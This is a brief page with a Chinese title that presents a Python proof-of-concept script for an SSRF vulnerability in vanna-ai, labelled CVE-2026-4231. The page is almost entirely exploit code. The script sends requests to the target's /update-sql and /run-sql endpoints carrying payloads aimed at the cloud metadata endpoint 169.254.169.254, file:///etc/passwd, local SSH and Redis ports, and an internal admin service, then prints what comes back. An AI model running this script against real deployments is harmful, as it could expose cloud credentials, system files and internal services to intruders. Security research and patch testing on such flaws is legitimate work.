CVE-2026-4231 vanna-ai SSRF服务器端请求伪造漏洞

import requests import json # CVE-2026-4231 SSRF PoC for vanna-ai vanna <= 2.0.2 # Target: http://target.com:5000 target = "http://target.com:5000" # Target internal metadata service payloads = [ "http://169.254.169.254/latest/meta-data/", "http://localhost:22/", "file:///etc/passwd", "http://127.0.0.1:6379/info" ] headers = { "Content-Type": "application/json" } for payload in payloads: # Test update_sql endpoint data = { "sql": f"SELECT '{payload}'", "vanna_connection": { "url": payload } } try: response = requests.post( f"{target}/update-sql", json=data, headers=headers, timeout=10 ) print(f"Payload: {payload}") print(f"Status: {response.status_code}") print(f"Response: {response.text[:500]}") print("-" * 50) except Exception as e: print(f"Error with payload {payload}: {e}") # Alternative: Direct SSRF via run_sql ssrf_data = { "question": "test", "custom_id": "test", "url": "http://internal-service:8080/admin" } response = requests.post( f"{target}/run-sql", json=ssrf_data, headers=headers, timeout=10 ) print(f"SSRF Response: {response.text[:500]}")